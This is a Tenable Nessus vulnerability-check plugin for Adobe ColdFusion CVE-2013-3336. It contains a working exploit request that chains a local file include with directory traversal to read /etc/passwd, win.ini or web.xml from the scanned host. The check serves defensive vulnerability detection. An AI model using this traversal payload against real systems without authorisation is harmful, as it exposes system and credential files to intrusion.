| code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(66404);
script_version("1.18");
script_cvs_date("Date: 2019/11/27");
script_cve_id("CVE-2013-3336");
script_bugtraq_id(59773);
script_xref(name:"EDB-ID", value:"25305");
script_name(english:"Adobe ColdFusion Multiple Vulnerabilities (APSA13-03)");
script_summary(english:"Tries to download a file.");
script_set_attribute(attribute:"synopsis", value:
"A web-based application running on the remote host is affected by
multiple vulnerabilities.");
script_set_attribute(attribute:"description", value:
"The version of Adobe ColdFusion running on the remote host is affected
by the following vulnerabilities :
- A directory traversal vulnerability exists in
/administrator/mail/download.cfm. A remote,
authenticated attacker can exploit this issue to
download arbitrary files.
- A local file include vulnerability exists in
/adminapi/customtags/l10n.cfm. A remote, unauthenticated
attacker can exploit this to execute local cfm files.
A remote, unauthenticated attacker can exploit both of these
vulnerabilities, resulting in the download of arbitrary files as
demonstrated in this plugin report.");
script_set_attribute(attribute:"see_also", value:"https://www.adobe.com/support/security/advisories/apsa13-03.html");
# https://helpx.adobe.com/coldfusion/kb/coldfusion-security-hotfix-apsb13-13.html
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?e77cccdb");
script_set_attribute(attribute:"solution", value:
"Apply the appropriate hotfix referenced in Adobe security bulletin
APSB13-13.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploit_framework_core", value:"true");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2013/05/08");
script_set_attribute(attribute:"patch_publication_date", value:"2013/05/14");
script_set_attribute(attribute:"plugin_publication_date", value:"2013/05/14");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:adobe:coldfusion");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("os_fingerprint.nasl", "coldfusion_detect.nasl");
script_require_keys("installed_sw/ColdFusion");
script_require_ports("Services/www", 80, 8500);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");
app = 'ColdFusion';
get_install_count(app_name:app, exit_if_zero:TRUE);
port = get_http_port(default:80);
install = get_single_install(
app_name : app,
port : port
);
dir = install['path'];
install_url = build_url(port:port, qs:dir);
# CF9 (9, not 9.0.1 or 9.0.2) doesn't have the file download vulnerability but
# presumably has the LFI. for now the plugin accounts for this by flagging any
# CF9 installations that were detected when the report paranoia setting is "paranoid"
if (report_paranoia == 2 && install['version'] =~ "^9\.0\.0\.")
{
if (report_verbosity > 0)
{
report =
'\n URL : ' + install_url +
'\n Version : ' + install['version'] + '\n';
security_warning(port:port, extra:report);
}
else security_warning(port);
exit(0);
}
os = get_kb_item('Host/OS');
if (os && report_paranoia < 2)
{
if ("Windows" >< os)
files = make_list('/windows/win.ini','/winnt/win.ini');
else
files = make_list('/etc/passwd');
}
else files = make_list('/etc/passwd', '/windows/win.ini', '/winnt/win.ini', 'wwwroot/WEB-INF/web.xml');
file_pats = make_array();
file_pats['/etc/passwd'] = "root:.*:0:[01]:";
file_pats['/winnt/win.ini'] = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";
file_pats['/windows/win.ini'] = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";
# as a last resort, try to get a file in the CF installation directory
# if none of the OS-specific files could be obtained
file_pats['wwwroot/WEB-INF/web.xml'] = '<web-app id="adobe_coldfusion">';
cfm = '/adminapi/customtags/l10n.cfm';
qs =
'attributes.id=it' +
'&attributes.locale=it' +
'&attributes.var=it' +
'&attributes.jscript=false' +
'&attributes.type=text/html' +
'&attributes.charset=UTF-8' +
'&thisTag.executionmode=end' +
'&thisTag.generatedContent=htp' +
'&attributes.file=../../administrator/mail/download.cfm' +
'&filename=';
traversal = crap(data:"../", length:3*9) + '..';
vuln = FALSE;
foreach file (files)
{
if ("web.xml" >< file) traversal = "../../";
url = cfm + '?' + qs + traversal + file;
res = http_send_recv3(method:'GET', item:dir+url, port:port, exit_on_fail:TRUE);
if (!egrep(pattern:file_pats[file], string:res[2])) continue; # exploit failed
else
{
vuln = TRUE;
output = res[2];
break;
}
}
if (!vuln) audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);
security_report_v4(
port : port,
severity : SECURITY_WARNING,
file : file,
request : make_list(install_url + url),
output : chomp(output),
attach_type : 'text/plain'
);
exit(0);
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